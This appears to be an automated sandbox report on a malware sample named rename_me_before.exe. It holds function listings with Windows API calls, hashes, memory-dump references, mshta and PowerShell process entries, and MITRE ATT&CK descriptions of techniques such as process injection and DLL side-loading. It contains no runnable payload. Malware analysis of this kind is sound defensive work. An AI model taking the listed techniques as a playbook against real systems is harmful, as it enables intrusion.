Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 0739f85a4d911baae0561c1f2f5b651aa469f8b70ac1dc09fd50f765aaaafbc7
Instruction ID: 599a62b5aa2e578da32bb14563ad975de4f9c5d34eedb2e8da3037ad89be6239
Opcode Fuzzy Hash: 0739f85a4d911baae0561c1f2f5b651aa469f8b70ac1dc09fd50f765aaaafbc7
Instruction Fuzzy Hash: C4D11372B0CAA1D9E710EF79D4402AD37BAFB45B98B144236CE5E97B99DE38D406C340

Function 00007FF6404FC270 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6404FC25B), ref: 00007FF6404FC38C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6404FC25B), ref: 00007FF6404FC417

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: 76adbd728b317254a89cb4c791728419eb9f151af89ead0c9a06842c56e3605f
Instruction ID: 1ef1bf0e5bd98d2ff22e0bb385fbef1a6847c2f9b2b3b3861d2e4785353c280b
Opcode Fuzzy Hash: 76adbd728b317254a89cb4c791728419eb9f151af89ead0c9a06842c56e3605f
Instruction Fuzzy Hash: D791C132E2C672E5F754FB6595502BD2BAAFB44B88F544139DE0EA6B84CF38E4418700

Function 00007FF6404FEC9C Relevance: 6.2, APIs: 4, Instructions: 162COMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF6404FED8C
_get_daylight.LIBCMT ref: 00007FF6404FED9D
_get_daylight.LIBCMT ref: 00007FF6404FEDAE
_isindst.LIBCMT ref: 00007FF6404FEE79

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: _get_daylight$_isindst
String ID:
API String ID: 4170891091-0
Opcode ID: 8f9731ccc05e5e98dab1658fcebd939f282d40e9b6d5561daf5942648b351509
Instruction ID: 38937a7f78933b773a99b8541f26dbe591d1cc6131e1339b3253e5b3030255d1
Opcode Fuzzy Hash: 8f9731ccc05e5e98dab1658fcebd939f282d40e9b6d5561daf5942648b351509
Instruction Fuzzy Hash: 4951F872F0C122EAFB18FF6599456BC37AAAB1035AF500135DE1D96BE5DF38A642C700

Function 00007FF6404F4A8C Relevance: 6.1, APIs: 4, Instructions: 119pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00007FF6404F4ABF
GetFileInformationByHandle.KERNEL32 ref: 00007FF6404F4B21
GetLastError.KERNEL32 ref: 00007FF6404F4BB2
PeekNamedPipe.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6404F49C4), ref: 00007FF6404F4BFE

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: File$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 2780335769-0
Opcode ID: 44011dbc5c196255e5d063134f532b0674048b95aab6dcf0e225215e54208c6d
Instruction ID: 75f6c3af5d72fd27f8e01d6fb3b6d0b9943f265b4ae43a3d0d96952bcbb00385
Opcode Fuzzy Hash: 44011dbc5c196255e5d063134f532b0674048b95aab6dcf0e225215e54208c6d
Instruction Fuzzy Hash: 5B516D22E0D661DAFB14FF71D4503BD27AAEB88B58F119535DE0987789DF38E4818740

Function 00007FF6404E2030 Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

EndDialog.USER32 ref: 00007FF6404E2064
SetWindowLongPtrW.USER32 ref: 00007FF6404E2086
GetWindowLongPtrW.USER32 ref: 00007FF6404E20B0
InvalidateRect.USER32 ref: 00007FF6404E20D0

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: LongWindow$DialogInvalidateRect
String ID:
API String ID: 1956198572-0
Opcode ID: 4b9e5de1fbcf843bc779a4d54dee57f94c26a540a6e6e96758728fc1cf1e39ca
Instruction ID: 4e1a192d0076a52cf4575ebaa225ae3dffb7ad558b6d2708bffdfd4671950fe0
Opcode Fuzzy Hash: 4b9e5de1fbcf843bc779a4d54dee57f94c26a540a6e6e96758728fc1cf1e39ca
Instruction Fuzzy Hash: 8F11A531E1C16292FA58FB6AE6842BD1292EF89B90F948031DB5987FDACD3DD5C18740

Function 00007FF6404EC330 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF6404EC35C
GetCurrentThreadId.KERNEL32 ref: 00007FF6404EC36A
GetCurrentProcessId.KERNEL32 ref: 00007FF6404EC376
QueryPerformanceCounter.KERNEL32 ref: 00007FF6404EC386

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 0f32e5fb6c1657f40c76225ea380b4ebd78bc5beffa0738dce661fe11625e8f4
Instruction ID: d03305e209f12da7931db38f9328676fcaee51668232bcff120ac439f25be5d2
Opcode Fuzzy Hash: 0f32e5fb6c1657f40c76225ea380b4ebd78bc5beffa0738dce661fe11625e8f4
Instruction Fuzzy Hash: 39114826B18B169AEB00EF60E9442AC33A4FB59758F040E31DE2D86BA4DF78D1988340

Function 00007FF640504E2C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF640500A70: _invalid_parameter_noinfo.LIBCMT ref: 00007FF640500AA3

_get_daylight.LIBCMT ref: 00007FF640504F44
_get_daylight.LIBCMT ref: 00007FF640504F55

Strings

?, xrefs: 00007FF640504ED5

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID: ?
API String ID: 1286766494-1684325040
Opcode ID: 30789dec6190b383a199f118b84c25ff7dc7ec79571e837530472d1d90a39620
Instruction ID: 7d97436e2cdf763460f67447f8a9ec2903ea4407e4eaf198c9c52247051e6810
Opcode Fuzzy Hash: 30789dec6190b383a199f118b84c25ff7dc7ec79571e837530472d1d90a39620
Instruction Fuzzy Hash: 3A413E62A0C3A265F728BB25D60137E5755EF827A8F104235EE6C86BD6DF3CD441CB00

Function 00007FF6404F832C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6404F835E

Part of subcall function 00007FF6404F9C58: RtlFreeHeap.NTDLL(?,?,?,00007FF640502032,?,?,?,00007FF64050206F,?,?,00000000,00007FF640502535,?,?,?,00007FF640502467), ref: 00007FF6404F9C6E
Part of subcall function 00007FF6404F9C58: GetLastError.KERNEL32(?,?,?,00007FF640502032,?,?,?,00007FF64050206F,?,?,00000000,00007FF640502535,?,?,?,00007FF640502467), ref: 00007FF6404F9C78

GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF6404EBEC5), ref: 00007FF6404F837C

Strings

C:\Users\user\Desktop\rename_me_before.exe, xrefs: 00007FF6404F836A

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: ErrorFileFreeHeapLastModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\Desktop\rename_me_before.exe
API String ID: 3580290477-100362983
Opcode ID: b12c586edd81a32e618353e8c6e47471c9321224668f8732ac6121a92b7f4d59
Instruction ID: 0d5b3cdb9dd6dd4a0d6acaf5750bde0d4d7acd2cc4dcc607e8aefcf81ecb72f2
Opcode Fuzzy Hash: b12c586edd81a32e618353e8c6e47471c9321224668f8732ac6121a92b7f4d59
Instruction Fuzzy Hash: 51418132A0CB62E5E718FF25A5810BC379AEF457A4B554039EE5D87B95DE3CE4818700

Function 00007FF6404FF8E0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6404FF916

Part of subcall function 00007FF6404FE8C8: GetCurrentDirectoryW.KERNEL32 ref: 00007FF6404FE908

Strings

., xrefs: 00007FF6404FF967
:, xrefs: 00007FF6404FF956

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: CurrentDirectory_invalid_parameter_noinfo
String ID: .$:
API String ID: 2020911589-4202072812
Opcode ID: 877ab66861cd581cb00139adc1238e41cebb29b8ab944fd3dc74440885d04d70
Instruction ID: dcd28da8715499e852ed36772311ef6bc3a9062e7d6a0b07aae994aa9edb250e
Opcode Fuzzy Hash: 877ab66861cd581cb00139adc1238e41cebb29b8ab944fd3dc74440885d04d70
Instruction Fuzzy Hash: 84417E62F0C762E9FB10FBB198506FC26BAAF54758F540035DE4DA7B89DF78A4429320

Function 00007FF6404FBF48 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF6404FC05F
GetLastError.KERNEL32 ref: 00007FF6404FC081

Strings

U, xrefs: 00007FF6404FC00B

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 8a697203ccd77e4b09c13c65c1c26094ec0dd1f28ad5eedaecdf6916cad97550
Instruction ID: 8b8d4b9416c589f260b880531aaf5e651441b8178d234a713b01115a6015ebe5
Opcode Fuzzy Hash: 8a697203ccd77e4b09c13c65c1c26094ec0dd1f28ad5eedaecdf6916cad97550
Instruction Fuzzy Hash: F041B122A1CAA5D6EB20EF65E8443AA6765FB88794F804131EE4DC7788DF3CD441CB40

Function 00007FF6404FE8C8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32 ref: 00007FF6404FE908
GetCurrentDirectoryW.KERNEL32 ref: 00007FF6404FE95A

Strings

:, xrefs: 00007FF6404FE91E

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: CurrentDirectory
String ID: :
API String ID: 1611563598-336475711
Opcode ID: e37c33f8f2befd5fbd3c49cdc0b6d52123385b6fd944ea7372e41dd3f6ca63dc
Instruction ID: 265fd425774259fe4c10bacb84e146b6f2c0bc7eed03276dbc83b9e05cfd5995
Opcode Fuzzy Hash: e37c33f8f2befd5fbd3c49cdc0b6d52123385b6fd944ea7372e41dd3f6ca63dc
Instruction Fuzzy Hash: D621D572B0C691D1EB64BB16D04467E73A6FB84B84F854035DA8C83384CFBCDA45C751

Function 00007FF6404EF068 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FF6404EF0B8
RaiseException.KERNEL32 ref: 00007FF6404EF0F9

Strings

csm, xrefs: 00007FF6404EF0E6

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 353d784395b77eefcba7ec404c7e4e47dbaba59ece92a9373595b893a828088a
Instruction ID: d5508817ca1574cb3cdebf1fea9f4d7507e4a5c8921daac632a5552b477f6921
Opcode Fuzzy Hash: 353d784395b77eefcba7ec404c7e4e47dbaba59ece92a9373595b893a828088a
Instruction Fuzzy Hash: 0E11793660CB8182EB21AB14E440269B7E0FB88B88F188230DA8C47769DF3CC5518B00

Function 00007FF6404FFA4C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6404FFA7C
GetDriveTypeW.KERNEL32 ref: 00007FF6404FFABC

Strings

:, xrefs: 00007FF6404FFAA5

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: DriveType_invalid_parameter_noinfo
String ID: :
API String ID: 2595371189-336475711
Opcode ID: 229dc5225c97c31120184e1c5c073253f760aebc87e6502baf4f3d3b6f3e4c47
Instruction ID: 512d6b907b4660450709611d994324b7190bfa6b4bc0ead6391dc0269b747c2a
Opcode Fuzzy Hash: 229dc5225c97c31120184e1c5c073253f760aebc87e6502baf4f3d3b6f3e4c47
Instruction Fuzzy Hash: F9017822E1C666E6FB24BFA0A46127E22A5EF88708F840036D94DC6791DE6CE544DB24

Analysis Process: mshta.exePID: 2108, Parent PID: 1312COMMON

Executed Functions

Function 000001C8D01E0FC1 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000003.1747910857.000001C8D01E0000.00000010.00000800.00020000.00000000.sdmp, Offset: 000001C8D01E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_3_1c8d01e0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
Instruction ID: 54069ac30771ea864ddeefd9aa68e8ae767faa2823c41204e24d9df813676b9c
Opcode Fuzzy Hash: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
Instruction Fuzzy Hash: EF9002144D540756E82511D10C857AC50406388290FD44881842790184D94D42E71252

Analysis Process: powershell.exePID: 1668, Parent PID: 6316COMMON

Executed Functions

Function 00007FFD99E21699 Relevance: .8, Instructions: 803COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000045.00000002.1849742865.00007FFD99E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD99E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_7ffd99e20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ad4d78e4fa94dfce23fa149def52c40d4fc51ff778e8ef1aada9d4071988f1e
Instruction ID: 86aa231d421a5eb1e41d94dc12d54f99defd370b4857c666f9c3e3c4312d7002
Opcode Fuzzy Hash: 6ad4d78e4fa94dfce23fa149def52c40d4fc51ff778e8ef1aada9d4071988f1e
Instruction Fuzzy Hash: AF324722B0EB894FEB669F7848A55B87BE1EF86214B1901FBD04DC70D3D91AAD45C342

Function 00007FFD99D549FB Relevance: .2, Instructions: 199COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000045.00000002.1849365710.00007FFD99D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD99D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_7ffd99d50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e36c176a56bbe8896a761cfa65291c9da860123b2786c0f2736c1c9b5e88e105
Instruction ID: 796a173e6998201c2345bedc70b10fe2591cbd776d56417c4b1d0ccdd9e671d2
Opcode Fuzzy Hash: e36c176a56bbe8896a761cfa65291c9da860123b2786c0f2736c1c9b5e88e105
Instruction Fuzzy Hash: A4517431E18A088FDB58EFA8D4956ADBBF1FF59314F10406DD40DD7296CE35A842CB42

Function 00007FFD99D53945 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000045.00000002.1849365710.00007FFD99D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD99D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_7ffd99d50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
Instruction ID: b13a88b549bebaafe024d3b201b8d4f4eeb421777b31f8c969d1f3422b1165e9
Opcode Fuzzy Hash: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
Instruction Fuzzy Hash: 8B01A77020CB0C8FD744EF0CE451AA5B3E0FF85324F50052DE58AC3695D632E881CB42

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

